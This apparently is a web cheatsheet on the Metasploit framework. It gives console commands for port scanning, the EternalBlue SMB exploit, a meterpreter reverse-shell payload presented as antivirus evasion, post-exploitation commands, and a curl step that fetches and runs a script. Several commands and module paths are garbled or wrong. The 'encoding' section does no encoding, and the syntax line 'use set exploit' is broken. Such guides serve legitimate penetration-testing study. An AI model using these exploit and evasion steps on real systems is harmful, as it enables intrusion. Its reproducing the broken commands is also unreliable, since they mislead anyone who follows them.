Metasploit Tool Cheatsheet for Security Analysts and Penetration Testers

📱 Mobile Security Tips

Sarah Chen — iOS Security Specialist

What is Metasploit?

Metasploit is a penetration testing framework that allows security researchers and penetration testers to find security vulnerabilities in systems and applications. It provides a range of tools and modules that can be used for information gathering, vulnerability scanning, exploitation, and post-exploitation.

Installation

To install Metasploit on a Linux machine, you can run the following command:

curl https://raw.githubusercontent.com/rapid7/metasploit-framework/master/msfupdate && chmod +x msfupdate && ./msfupdate

For systems like Kali Linux, Metasploit is usually pre-installed. You can check your version by running:

msfconsole --version

Basic Syntax

Launch the Metasploit console with:

msfconsole

The command structure is generally structured as follows:

use set exploit

Information Gathering

Scanning for Open Ports

Use the auxiliary scanner to find open ports:

use auxiliary/scanner/portscan/tcp
set RHOSTS 
run

Service Version Detection

To detect service versions on an open port:

use auxiliary/scanner/services
set RHOSTS 
run

Scanning

Vulnerability Scanning

To scan for vulnerabilities on a target IP:

use auxiliary/scanner/vuln/
set RHOSTS 
run

Exploitation

Using a Specific Exploit

To use an exploit against a target:

use exploit/windows/smb/ms17_010_eternalblue
set RHOST 
exploit

Analysis

Post-Exploitation Commands

Once you gain a shell, running:

getuid
sysinfo

Evasion

Avoiding Detection

Use the following command to encode your payload, making it harder for antivirus tools to detect:

use payload/windows/meterpreter/reverse_tcp
set LHOST 
set LPORT 
set EXITFUNC thread
exploit -j

Reporting

Generating a Report

To generate a report of the findings:

db_export -f csv -a -o .csv

Quick Reference Table

Flag Description
RHOST Target host(s) IP address
RPORT Target port
LHOST Local host IP address
LPORT Local port number
EXITFUNC Function to call on exit

Pro Tips

  • Database integration: Use PostgreSQL for database management to make tracking exploits and gains easier.
  • Context-specific tags: Assign tags to hosts during scans for better organization and reporting.
  • Auto-payloads: Use the generate command to quickly create payloads for web applications.

Real-World Examples

Always adjust your commands based on the specific target and environment. Example:

use exploit/linux/samba/nt_trans
set RHOST 
run